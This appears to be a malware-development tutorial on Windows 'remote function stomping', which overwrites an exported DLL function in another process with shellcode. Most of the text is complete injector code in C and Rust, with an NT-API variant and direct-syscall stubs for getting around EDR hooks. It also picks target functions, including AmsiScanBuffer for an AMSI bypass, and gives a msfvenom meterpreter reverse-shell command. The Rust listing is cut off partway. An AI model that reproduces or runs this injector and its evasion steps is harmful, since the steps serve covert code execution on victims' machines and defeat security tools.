ᛉ Yggdrasil

Malware development

Remote Function Stomping Injection

19 Sep 2026 · 6,994 words · 32 min

Contents

Legend: [STOMP] = Core stomping step | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [VARIANT] = Technique variant


1. What Is Remote Function Stomping?

What it means: Remote Function Stomping is a shellcode injection technique where an attacker overwrites the machine code bytes of a legitimate, exported function in a remote (target) process with shellcode. Instead of allocating new executable memory — which is a major EDR red flag — the shellcode is written into an existing, already-mapped, already-executable code region (the body of a real DLL function).

Classic Injection:                  Function Stomping:
─────────────────                   ─────────────────
VirtualAllocEx  → NEW RWX memory    No new allocation at all
WriteProcessMemory → write shellcode WriteProcessMemory → overwrite existing
CreateRemoteThread → run shellcode  CreateRemoteThread → call stomped function

EDR sees:                           EDR sees:
 ❌ New RWX allocation in remote      ✅ Existing R-X .text page (normal)
 ❌ WriteProcessMemory + Thread       ⚠  VirtualProtectEx → WriteProcessMemory
 ❌ Thread pointing at unknown addr   ✅ Thread points at legit DLL export

The insight: Because DLLs (e.g. kernel32.dll, ntdll.dll, user32.dll) are loaded at the same virtual address in all processes using ASLR with shared base randomization, an attacker can: 1. Find the function's address in their own process (GetProcAddress) 2. Calculate the offset 3. Re-resolve it in the target process using module enumeration 4. Overwrite those bytes with shellcode

[OPSEC] The target process continues operating normally — only the stomped function is corrupted. All other exports from the same DLL remain intact and callable.


Technique Memory Allocated? Where Code Lives Trigger Noise Level
Classic Injection Yes (VirtualAllocEx) New private RWX page CreateRemoteThread Very High
Module Stomping No (loads DLL) Entire DLL EntryPoint overwritten New Thread to EntryPoint Medium
Remote Function Stomping No Existing exported function body Call the function / New Thread Low
Thread Hijacking Yes (usually) New allocation SuspendThread + SetContext High
APC Injection Yes New allocation QueueUserAPC Medium
Mapping Injection Yes (NtMapViewOfSection) New mapped section Thread/APC Medium

Key advantages of Remote Function Stomping:

✅ No VirtualAllocEx → no "new executable region" alert
✅ Shellcode lives inside a legitimate DLL's .text section
✅ CreateRemoteThread start address points at a real DLL export
✅ Target process continues using all other DLL functions
✅ Memory appears backed by a real on-disk module (SharedOriginal)
✅ Hollows-hunter (common post-exploitation detection tool) doesn't detect it

Disadvantages:

❌ Requires target DLL to already be loaded in the target process
❌ Corrupts the stomped function — crashes if it is called after stomp
❌ VirtualProtectEx call is still noisy (monitored by EDR)
❌ WriteProcessMemory on an existing module triggers "modified code" scanners
❌ Not every function works — function must be large enough to hold shellcode

3. MITRE ATT&CK Mapping

Tactic:        Defense Evasion + Privilege Escalation
Technique:     T1055 — Process Injection
Sub-technique: T1055.012 — Process Hollowing (closest applicable sub-technique)
               (Function Stomping as a named sub-technique is not yet its own MITRE ID)

Related:
  T1055.001  — DLL Injection
  T1055.002  — Portable Executable Injection
  T1055.012  — Process Hollowing (module-level stomping variant)

Defense Bypassed:
  ✅ Anti-virus (static + basic behavioral)
  ✅ Application control
  ✅ Signature-based detection
  ✅ Memory allocation monitoring (no VirtualAllocEx)

4. Core Attack Flow

[INJECTOR PROCESS]                     [TARGET PROCESS]
──────────────────                     ────────────────
1. Find target PID
   └─ CreateToolhelp32Snapshot
      Process32First/Next

2. Open target process
   └─ OpenProcess(PROCESS_ALL_ACCESS, pid)

3. Find stomped function address locally
   └─ GetModuleHandleA("target.dll")
      GetProcAddress(hMod, "FunctionName")
      Calculate: funcOffset = funcAddr - moduleBase

4. Find DLL base in REMOTE process
   └─ CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid)
      Module32First / Module32Next
      → MODULEENTRY32.modBaseAddr = remote DLL base

5. Calculate remote function address
   └─ remoteFuncAddr = remoteModuleBase + funcOffset

6. Change memory permission
   └─ VirtualProtectEx(hProc, remoteFuncAddr,
                       shellcodeLen, PAGE_READWRITE,
                       &oldProtect)

7. Write shellcode over function body
   └─ WriteProcessMemory(hProc, remoteFuncAddr,
                         shellcode, shellcodeLen, NULL)

8. Restore memory permission
   └─ VirtualProtectEx(hProc, remoteFuncAddr,
                       shellcodeLen, PAGE_EXECUTE_READ,
                       &oldProtect)

9. Execute shellcode
   └─ Option A: CreateRemoteThread(hProc, remoteFuncAddr)
      Option B: Trigger existing code path that calls the function
      Option C: Hijack a thread's RIP to point at remoteFuncAddr

10. [Optional] Restore original bytes (anti-forensic)
    └─ Store original bytes before step 7
       WriteProcessMemory after execution to restore

5. Pre-Requisites & Choosing the Target Function

5.1 DLL Must Be Loaded in Target Process

[STOMP] The stomped DLL must already be loaded in the target process. You cannot stomp a function in a DLL that isn't there.

# Check which DLLs a process has loaded (ProcessHacker / Sysinternals)
# Use Process Hacker → right-click process → Properties → Modules tab

# PowerShell: list loaded modules of a process
Get-Process notepad | Select-Object -ExpandProperty Modules | Select-Object ModuleName, BaseAddress

# Using listdlls from Sysinternals
listdlls.exe -d notepad.exe
// Programmatic: check if DLL is loaded in target process
#include <tlhelp32.h>

BOOL IsDllLoadedInProcess(DWORD pid, const char* dllName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(
        TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
    if (hSnap == INVALID_HANDLE_VALUE) return FALSE;

    MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
    BOOL found = FALSE;

    if (Module32First(hSnap, &me)) {
        do {
            if (_stricmp(me.szModule, dllName) == 0) {
                found = TRUE;
                break;
            }
        } while (Module32Next(hSnap, &me));
    }

    CloseHandle(hSnap);
    return found;
}

5.2 Choosing a Good Target Function

Good stomping targets:

DLL            | Function                | Why
───────────────────────────────────────────────────────────────────────
kernel32.dll   | Sleep                   | Almost always loaded, large enough
kernel32.dll   | FlsGetValue             | Rarely called, large body
kernel32.dll   | EncodePointer           | Exists in all processes
ntdll.dll      | RtlDecompressBuffer     | Rarely called in normal apps
user32.dll     | MessageBeep             | Often loaded, rarely called
user32.dll     | CloseClipboard          | Rarely invoked
ws2_32.dll     | WSASetLastError         | Loaded in network apps
amsi.dll       | AmsiScanBuffer          | AMSI bypass + stomp combo
ole32.dll      | OleUninitialize         | Loaded in Office processes

What to avoid stomping:

❌ Functions called frequently (printf, malloc, memcpy) → immediate crash
❌ Functions with body smaller than shellcode → overwrites adjacent functions
❌ ntdll.dll core functions (LdrLoadDll, etc.) → system-wide instability
❌ Functions with prologues checked by EDR hooks → hook detection fires

5.3 Verify Function Size (Must Be ≥ Shellcode Size)

#!/usr/bin/env python3
# check_func_size.py — Estimate function body size using disassembly

import pefile
import struct

def get_export_rva(dll_path: str, func_name: str) -> int:
    """Get RVA of an exported function from PE file."""
    pe = pefile.PE(dll_path)
    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if exp.name and exp.name.decode() == func_name:
            return exp.address
    return 0

# Example: check if Sleep is big enough for a 300-byte shellcode
# Use disassembler (e.g. Ghidra, x64dbg) to measure function body manually
# Rule of thumb: common kernel32 exports are 50-500 bytes
print("Use x64dbg or Ghidra to check function size before stomping")
print("In x64dbg: bp on function, then 'Scroll down to RET' to estimate size")
# x64dbg quick check:
# 1. bp kernel32.Sleep
# 2. Run target process
# 3. When bp hits, scroll in disasm to find RET instruction
# 4. Calculate: RET_addr - func_start = function body size
# 5. Your shellcode must be <= this size

6. Step-by-Step: Classic C++ Implementation

Step 1 — Get Target Process PID

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Find PID of target process by name
DWORD GetProcessPID(const char* procName) {
    DWORD pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };

    if (Process32First(hSnap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, procName) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnap, &pe));
    }

    CloseHandle(hSnap);
    printf("[*] Found process '%s' with PID: %lu\n", procName, pid);
    return pid;
}

Step 2 — Open Handle to Target Process

// Open with all-access for injection
// [OPSEC] In production: request minimal permissions
//   PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
//   | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD

HANDLE OpenTargetProcess(DWORD pid) {
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return NULL;
    }
    printf("[+] Opened process handle: 0x%p\n", hProc);
    return hProc;
}

Step 3 — Resolve Function Address Locally, Then Remotely

// [STOMP] Key insight: DLLs load at the SAME base in all processes
// (due to ASLR with shared base), so the offset from module base to
// function is identical. We find the function locally, compute the offset,
// then re-apply it with the remote module's base address.

typedef struct {
    LPVOID localBase;
    LPVOID localFuncAddr;
    SIZE_T funcOffset;
    LPVOID remoteFuncAddr;
} FUNCTION_RESOLVE;

BOOL ResolveFunctionRemote(HANDLE hProc, DWORD pid,
                            const char* dllName, const char* funcName,
                            FUNCTION_RESOLVE* out) {
    // Step A: Get local base of DLL (load it if not already loaded)
    out->localBase = GetModuleHandleA(dllName);
    if (!out->localBase) {
        out->localBase = LoadLibraryA(dllName);
        if (!out->localBase) {
            printf("[-] LoadLibraryA(%s) failed: %lu\n", dllName, GetLastError());
            return FALSE;
        }
    }
    printf("[*] Local %s base: 0x%p\n", dllName, out->localBase);

    // Step B: Get local function address
    out->localFuncAddr = GetProcAddress((HMODULE)out->localBase, funcName);
    if (!out->localFuncAddr) {
        printf("[-] GetProcAddress(%s) failed: %lu\n", funcName, GetLastError());
        return FALSE;
    }
    printf("[*] Local %s address: 0x%p\n", funcName, out->localFuncAddr);

    // Step C: Calculate offset from module base to function
    out->funcOffset = (SIZE_T)out->localFuncAddr - (SIZE_T)out->localBase;
    printf("[*] Function offset from base: 0x%zx\n", out->funcOffset);

    // Step D: Find DLL base in REMOTE process via module snapshot
    HANDLE hSnap = CreateToolhelp32Snapshot(
        TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
    if (hSnap == INVALID_HANDLE_VALUE) {
        printf("[-] CreateToolhelp32Snapshot failed: %lu\n", GetLastError());
        return FALSE;
    }

    MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
    BOOL found = FALSE;
    LPVOID remoteBase = NULL;

    if (Module32First(hSnap, &me)) {
        do {
            if (_stricmp(me.szModule, dllName) == 0) {
                remoteBase = (LPVOID)me.modBaseAddr;
                found = TRUE;
                printf("[*] Remote %s base in target: 0x%p\n", dllName, remoteBase);
                break;
            }
        } while (Module32Next(hSnap, &me));
    }
    CloseHandle(hSnap);

    if (!found) {
        printf("[-] DLL '%s' not loaded in target process!\n", dllName);
        printf("    Ensure the DLL is loaded before stomping.\n");
        return FALSE;
    }

    // Step E: Remote function address = remote base + local offset
    out->remoteFuncAddr = (LPVOID)((SIZE_T)remoteBase + out->funcOffset);
    printf("[+] Remote function address: 0x%p\n", out->remoteFuncAddr);

    return TRUE;
}

Step 4 — Change Memory Protection to Writable

// [STOMP] The .text section of a DLL is R-X (read + execute, not write).
// We must change it to PAGE_READWRITE to write shellcode,
// then restore to PAGE_EXECUTE_READ after writing.

BOOL ChangeProtection(HANDLE hProc, LPVOID addr, SIZE_T size,
                       DWORD newProtect, DWORD* oldProtect) {
    BOOL result = VirtualProtectEx(hProc, addr, size, newProtect, oldProtect);
    if (!result) {
        printf("[-] VirtualProtectEx failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[*] Protection changed at 0x%p: old=0x%lx new=0x%lx\n",
           addr, *oldProtect, newProtect);
    return TRUE;
}

Step 5 — Write Shellcode Over Function Body

// [STOMP] Overwrite the function's machine code bytes with shellcode.
// The function's original prologue (push rbp, mov rbp rsp...) is destroyed.

BOOL WriteShelcodeToFunction(HANDLE hProc, LPVOID remoteFuncAddr,
                              const unsigned char* shellcode, SIZE_T shellcodeLen) {
    SIZE_T bytesWritten = 0;
    BOOL result = WriteProcessMemory(
        hProc,
        remoteFuncAddr,
        shellcode,
        shellcodeLen,
        &bytesWritten
    );

    if (!result || bytesWritten != shellcodeLen) {
        printf("[-] WriteProcessMemory failed: %lu (wrote %zu / %zu bytes)\n",
               GetLastError(), bytesWritten, shellcodeLen);
        return FALSE;
    }

    printf("[+] Wrote %zu bytes of shellcode to 0x%p\n",
           bytesWritten, remoteFuncAddr);
    return TRUE;
}

Step 6 — Trigger Execution

// [STOMP] Multiple ways to trigger the stomped function.
// Option A: CreateRemoteThread — start address = stomped function address

BOOL TriggerViaRemoteThread(HANDLE hProc, LPVOID remoteFuncAddr) {
    HANDLE hThread = CreateRemoteThread(
        hProc,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteFuncAddr,
        NULL,    // No argument (shellcode handles its own setup)
        0,
        NULL
    );

    if (!hThread) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Remote thread created: handle 0x%p\n", hThread);
    WaitForSingleObject(hThread, 5000);  // Wait up to 5 seconds
    CloseHandle(hThread);
    return TRUE;
}

7. Full C++ Implementation (Win32 API)

// remote_function_stomping.c — Complete Remote Function Stomping Injector
// Targets: notepad.exe
// Stomps: kernel32.dll!Sleep
// Compile: cl.exe rfs.c /Fe:rfs.exe
// Or (MinGW): x86_64-w64-mingw32-gcc rfs.c -o rfs.exe

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>

// ─── Configuration ───────────────────────────────────────────────────────────
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw > payload.bin
// Then XOR/AES encrypt and paste here (see Shellcode Encryption reference)

// Example: calc.exe shellcode (x64) — replace with actual payload
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
    0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    // ... rest of shellcode ...
};
SIZE_T shellcodeLen = sizeof(shellcode);

const char* TARGET_PROCESS = "notepad.exe";
const char* TARGET_DLL     = "kernel32.dll";
const char* TARGET_FUNC    = "Sleep";   // Function to stomp
// ─────────────────────────────────────────────────────────────────────────────

// ─── Save original bytes for restoration ─────────────────────────────────────
unsigned char originalBytes[4096];  // Max shellcode size
BOOL bytesSaved = FALSE;
// ─────────────────────────────────────────────────────────────────────────────

DWORD GetProcessPID(const char* procName) {
    DWORD pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    if (Process32First(hSnap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, procName) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return pid;
}

LPVOID GetRemoteFunctionAddress(HANDLE hProc, DWORD pid,
                                  const char* dllName, const char* funcName) {
    // 1. Load DLL locally if needed
    HMODULE hLocalMod = GetModuleHandleA(dllName);
    if (!hLocalMod) hLocalMod = LoadLibraryA(dllName);
    if (!hLocalMod) return NULL;

    // 2. Get local function address
    FARPROC localFunc = GetProcAddress(hLocalMod, funcName);
    if (!localFunc) return NULL;

    // 3. Compute offset from local module base
    SIZE_T funcOffset = (SIZE_T)localFunc - (SIZE_T)hLocalMod;

    // 4. Find DLL base in remote process
    HANDLE hSnap = CreateToolhelp32Snapshot(
        TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
    if (hSnap == INVALID_HANDLE_VALUE) return NULL;

    MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
    LPVOID remoteBase = NULL;

    if (Module32First(hSnap, &me)) {
        do {
            if (_stricmp(me.szModule, dllName) == 0) {
                remoteBase = (LPVOID)me.modBaseAddr;
                break;
            }
        } while (Module32Next(hSnap, &me));
    }
    CloseHandle(hSnap);

    if (!remoteBase) return NULL;

    // 5. Remote address = remote base + same offset
    return (LPVOID)((SIZE_T)remoteBase + funcOffset);
}

int main(void) {
    printf("=== Remote Function Stomping Injection ===\n\n");

    // 1. Find target PID
    DWORD pid = GetProcessPID(TARGET_PROCESS);
    if (!pid) {
        printf("[-] Process '%s' not found. Launch it first.\n", TARGET_PROCESS);
        return 1;
    }
    printf("[+] Target: %s (PID: %lu)\n", TARGET_PROCESS, pid);

    // 2. Open target process
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Process handle: 0x%p\n", hProc);

    // 3. Resolve remote function address
    LPVOID remoteFuncAddr = GetRemoteFunctionAddress(
        hProc, pid, TARGET_DLL, TARGET_FUNC);
    if (!remoteFuncAddr) {
        printf("[-] Failed to resolve %s!%s in remote process\n",
               TARGET_DLL, TARGET_FUNC);
        printf("    Is %s loaded in %s?\n", TARGET_DLL, TARGET_PROCESS);
        CloseHandle(hProc);
        return 1;
    }
    printf("[+] Remote %s!%s: 0x%p\n", TARGET_DLL, TARGET_FUNC, remoteFuncAddr);

    // 4. Save original bytes BEFORE overwriting (for restoration)
    SIZE_T bytesRead = 0;
    if (ReadProcessMemory(hProc, remoteFuncAddr, originalBytes, shellcodeLen, &bytesRead)) {
        bytesSaved = TRUE;
        printf("[*] Saved %zu original bytes from function\n", bytesRead);
    }

    // 5. Change protection: R-X → RW (temporarily writable)
    DWORD oldProtect = 0;
    if (!VirtualProtectEx(hProc, remoteFuncAddr, shellcodeLen,
                          PAGE_READWRITE, &oldProtect)) {
        printf("[-] VirtualProtectEx (→RW) failed: %lu\n", GetLastError());
        CloseHandle(hProc);
        return 1;
    }
    printf("[*] Protection changed to PAGE_READWRITE\n");

    // 6. Write shellcode over function body
    SIZE_T bytesWritten = 0;
    if (!WriteProcessMemory(hProc, remoteFuncAddr, shellcode, shellcodeLen, &bytesWritten)) {
        printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
        // Restore protection before exit
        VirtualProtectEx(hProc, remoteFuncAddr, shellcodeLen, oldProtect, &oldProtect);
        CloseHandle(hProc);
        return 1;
    }
    printf("[+] Wrote %zu bytes of shellcode to %s!%s\n",
           bytesWritten, TARGET_DLL, TARGET_FUNC);

    // 7. Restore protection: RW → R-X (back to executable)
    DWORD dummy = 0;
    if (!VirtualProtectEx(hProc, remoteFuncAddr, shellcodeLen,
                          PAGE_EXECUTE_READ, &dummy)) {
        printf("[-] VirtualProtectEx (→RX) failed: %lu\n", GetLastError());
    }
    printf("[*] Protection restored to PAGE_EXECUTE_READ\n");

    // 8. Trigger execution via remote thread
    HANDLE hThread = CreateRemoteThread(
        hProc, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteFuncAddr,
        NULL, 0, NULL
    );

    if (!hThread) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
        CloseHandle(hProc);
        return 1;
    }

    printf("[+] Remote thread created: handle 0x%p\n", hThread);
    printf("[+] Shellcode executing in %s (PID %lu)...\n", TARGET_PROCESS, pid);

    WaitForSingleObject(hThread, 10000);  // Wait up to 10 seconds
    CloseHandle(hThread);
    CloseHandle(hProc);

    printf("[+] Done.\n");
    return 0;
}

Compile commands:

# MSVC (Windows)
cl.exe rfs.c /Fe:rfs.exe

# MinGW cross-compile (Linux → Windows binary)
x86_64-w64-mingw32-gcc rfs.c -o rfs.exe

# With debug symbols (for debugging)
cl.exe rfs.c /Fe:rfs.exe /Zi /DEBUG

8. NT-Level Variant (NtProtectVirtualMemory + NtWriteVirtualMemory)

[EVASION] Using NT-level functions (ntdll.dll native APIs) instead of Win32 wrappers bypasses EDR hooks placed on higher-level APIs. This is the approach used by advanced loaders like HijackLoader.

// nt_function_stomping.c — Stomping using native NT APIs
// Bypasses EDR hooks on VirtualProtectEx and WriteProcessMemory

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// ─── Native API type definitions ─────────────────────────────────────────────
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) ((status) >= 0)

typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE  ProcessHandle,
    PVOID   BaseAddress,
    PVOID   Buffer,
    SIZE_T  NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE  ProcessHandle,
    PVOID*  BaseAddress,
    PSIZE_T RegionSize,
    ULONG   NewProtect,
    PULONG  OldProtect
);

typedef NTSTATUS (NTAPI *pNtReadVirtualMemory)(
    HANDLE  ProcessHandle,
    PVOID   BaseAddress,
    PVOID   Buffer,
    SIZE_T  NumberOfBytesToRead,
    PSIZE_T NumberOfBytesRead
);

// ─── Resolve NT functions ─────────────────────────────────────────────────────
pNtWriteVirtualMemory   NtWriteVirtualMemory   = NULL;
pNtProtectVirtualMemory NtProtectVirtualMemory = NULL;
pNtReadVirtualMemory    NtReadVirtualMemory    = NULL;

BOOL ResolveNtFunctions(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;

    NtWriteVirtualMemory   = (pNtWriteVirtualMemory)
        GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    NtProtectVirtualMemory = (pNtProtectVirtualMemory)
        GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    NtReadVirtualMemory    = (pNtReadVirtualMemory)
        GetProcAddress(hNtdll, "NtReadVirtualMemory");

    return (NtWriteVirtualMemory && NtProtectVirtualMemory && NtReadVirtualMemory);
}
// ─────────────────────────────────────────────────────────────────────────────

BOOL NtFunctionStomp(HANDLE hProc, LPVOID remoteFuncAddr,
                      const unsigned char* shellcode, SIZE_T shellcodeLen) {

    NTSTATUS status;
    PVOID    protectAddr = remoteFuncAddr;
    SIZE_T   protectSize = shellcodeLen;
    ULONG    oldProtect  = 0;

    // Step 1: Save original bytes
    unsigned char savedBytes[4096] = {0};
    SIZE_T bytesRead = 0;
    status = NtReadVirtualMemory(hProc, remoteFuncAddr,
                                  savedBytes, shellcodeLen, &bytesRead);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtReadVirtualMemory failed: 0x%lx\n", status);
        return FALSE;
    }
    printf("[*] Saved %zu bytes from remote function (backup)\n", bytesRead);

    // Step 2: Change protection → PAGE_READWRITE (0x04)
    status = NtProtectVirtualMemory(hProc, &protectAddr, &protectSize,
                                     PAGE_READWRITE, &oldProtect);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtProtectVirtualMemory (→RW) failed: 0x%lx\n", status);
        return FALSE;
    }
    printf("[*] NtProtectVirtualMemory: old=0x%lx → PAGE_READWRITE\n", oldProtect);

    // Step 3: Write shellcode via NtWriteVirtualMemory
    SIZE_T bytesWritten = 0;
    status = NtWriteVirtualMemory(hProc, remoteFuncAddr,
                                   (PVOID)shellcode, shellcodeLen, &bytesWritten);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtWriteVirtualMemory failed: 0x%lx\n", status);
        // Restore protection even on failure
        NtProtectVirtualMemory(hProc, &protectAddr, &protectSize,
                                oldProtect, &oldProtect);
        return FALSE;
    }
    printf("[+] NtWriteVirtualMemory: wrote %zu bytes\n", bytesWritten);

    // Step 4: Restore protection → PAGE_EXECUTE_READ (0x20)
    ULONG dummy = 0;
    status = NtProtectVirtualMemory(hProc, &protectAddr, &protectSize,
                                     PAGE_EXECUTE_READ, &dummy);
    if (!NT_SUCCESS(status)) {
        printf("[-] NtProtectVirtualMemory (→RX) failed: 0x%lx\n", status);
        return FALSE;
    }
    printf("[*] NtProtectVirtualMemory: restored to PAGE_EXECUTE_READ\n");

    return TRUE;
}

int main(void) {
    if (!ResolveNtFunctions()) {
        printf("[-] Failed to resolve NT functions from ntdll\n");
        return 1;
    }
    printf("[+] NT functions resolved\n");

    // ... (same PID finding, OpenProcess, and address resolution as §7) ...
    // After obtaining hProc and remoteFuncAddr:
    // NtFunctionStomp(hProc, remoteFuncAddr, shellcode, shellcodeLen);

    return 0;
}

[OPSEC] For maximum stealth, use direct syscalls (Hell's Gate / Halo's Gate) to avoid even ntdll.dll function hooks:

; direct_syscall.asm — Direct syscall stubs (MASM / NASM syntax)
; Bypass EDR hooks entirely by jumping directly to kernel

; NtProtectVirtualMemory (SSN varies per Windows version — must resolve at runtime)
NtProtectVirtualMemory PROC
    mov r10, rcx                ; syscall calling convention
    mov eax, [ssn_NtProtect]   ; SSN resolved via Hell's Gate at runtime
    syscall
    ret
NtProtectVirtualMemory ENDP

NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, [ssn_NtWrite]     ; SSN resolved at runtime
    syscall
    ret
NtWriteVirtualMemory ENDP

9. Rust Implementation (RustRedOps-style)

// remote_function_stomping.rs
// Cargo.toml deps:
//   [dependencies]
//   windows-sys = { version = "0.52", features = ["Win32_Foundation",
//     "Win32_System_Threading", "Win32_System_Memory",
//     "Win32_System_LibraryLoader", "Win32_System_Diagnostics_ToolHelp",
//     "Win32_System_Diagnostics_Debug"] }

use std::ffi::CString;
use windows_sys::Win32::{
    Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
    System::{
        Diagnostics::{
            Debug::{ReadProcessMemory, WriteProcessMemory},
            ToolHelp::{
                CreateToolhelp32Snapshot, Module32First, Module32Next,
                Process32First, Process32Next,
                MODULEENTRY32, PROCESSENTRY32,
                TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPPROCESS,
            },
        },
        LibraryLoader::{GetModuleHandleA, GetProcAddress},
        Memory::{
            VirtualProtectEx,
            PAGE_EXECUTE_READ, PAGE_READWRITE,
        },
        Threading::{
            CreateRemoteThread, OpenProcess, WaitForSingleObject,
            PROCESS_ALL_ACCESS,
        },
    },
};

// Shellcode — replace with actual payload
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f rust
const SHELLCODE: [u8; 4] = [0x90, 0x90, 0x90, 0xc3]; // NOP NOP NOP RET (placeholder)

fn get_pid(proc_name: &str) -> Option<u32> {
    let snap = unsafe {
        CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    };
    if snap == INVALID_HANDLE_VALUE { return None; }

    let mut pe = PROCESSENTRY32 {
        dwSize: std::mem::size_of::<PROCESSENTRY32>() as u32,
        ..unsafe { std::mem::zeroed() }
    };

    if unsafe { Process32First(snap, &mut pe) } != 0 {
        loop {
            let name = String::from_utf8_lossy(
                pe.szExeFile.iter()
                    .take_while(|&&c| c != 0)
                    .map(|&c| c as u8)
                    .collect::<Vec<_>>()
                    .as_slice()
            ).to_lowercase();

            if name == proc_name.to_lowercase() {
                unsafe { CloseHandle(snap) };
                return Some(pe.th32ProcessID);
            }

            if unsafe { Process32Next(snap, &mut pe) } == 0 { break; }
        }
    }

    unsafe { CloseHandle(snap) };
    None
}

fn get_remote_func_addr(pid: u32, dll_name: &str, func_name: &str) -> Option<*mut u8> {
    // Get local module base
    let dll_cstr = CString::new(dll_name).ok()?;
    let func_cstr = CString::new(func_name).ok()?;

    let local_base = unsafe { GetModuleHandleA(dll_cstr.as_ptr() as *const u8) };
    if local_base == 0 { return None; }

    // Get local function address
    let local_func = unsafe {
        GetProcAddress(local_base as _, func_cstr.as_ptr() as *const u8)?
    };

    // Calculate offset
    let func_offset = local_func as usize - local_base as usize;

    // Find remote DLL base via module snapshot
    let snap = unsafe {
        CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid)
    };
    if snap == INVALID_HANDLE_VALUE { return None; }

    let mut me = MODULEENTRY32 {
        dwSize: std::mem::size_of::<MODULEENTRY32>() as u32,
        ..unsafe { std::mem::zeroed() }
    };

    let mut remote_base: Option<usize> = None;

    if unsafe { Module32First(snap, &mut me) } != 0 {
        loop {
            let mod_name = String::from_utf8_lossy(
                me.szModule.iter()
                    .take_while(|&&c| c != 0)
                    .map(|&c| c as u8)
                    .collect::<Vec<_>>()
                    .as_slice()
            ).to_lowercase();

            if mod_name == dll_name.to_lowercase() {
                remote_base = Some(me.modBaseAddr as usize);
                break;
            }

            if unsafe { Module32Next(snap, &mut me) } == 0 { break; }
        }
    }

    unsafe { CloseHandle(snap) };

    // Remote address = remote base + local offset
    remote_base.map(|base| (base + func_offset) as *mut u8)
}

fn main() {
    let target_proc = "notepad.exe";
    let target_dll  = "kernel32.dll";
    let target_func = "Sleep";

    println!("[*] Remote Function Stomping → {} :: {}", target_dll, target_func);

    let pid = match get_pid(target_proc) {
        Some(p) => { println!("[+] Found '{}' PID: {}", target_proc, p); p }
        None    => { eprintln!("[-] Process '{}' not found", target_proc); return; }
    };

    let hproc = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, pid) };
    if hproc == 0 { eprintln!("[-] OpenProcess failed"); return; }

    let remote_func = match get_remote_func_addr(pid, target_dll, target_func) {
        Some(addr) => { println!("[+] Remote {}: {:p}", target_func, addr); addr }
        None => { eprintln!("[-] Could not resolve remote function"); return; }
    };

    let sc_len = SHELLCODE.len();

    // Save original bytes
    let mut original = vec![0u8; sc_len];
    let mut bytes_read: usize = 0;
    unsafe {
        ReadProcessMemory(hproc, remote_func as _, original.as_mut_ptr() as _, sc_len, &mut bytes_read);
    }
    println!("[*] Saved {} original bytes", bytes_read);

    // Change protection → PAGE_READWRITE
    let mut old_protect: u32 = 0;
    let protect_ok = unsafe {
        VirtualProtectEx(hproc, remote_func as _, sc_len, PAGE_READWRITE, &mut old_protect)
    };
    if protect_ok == 0 { eprintln!("[-] VirtualProtectEx (→RW) failed"); return; }
    println!("[*] Protection → PAGE_READWRITE (old: 0x{:x})", old_protect);

    // Write shellcode
    let mut bytes_written: usize = 0;
    let write_ok = unsafe {
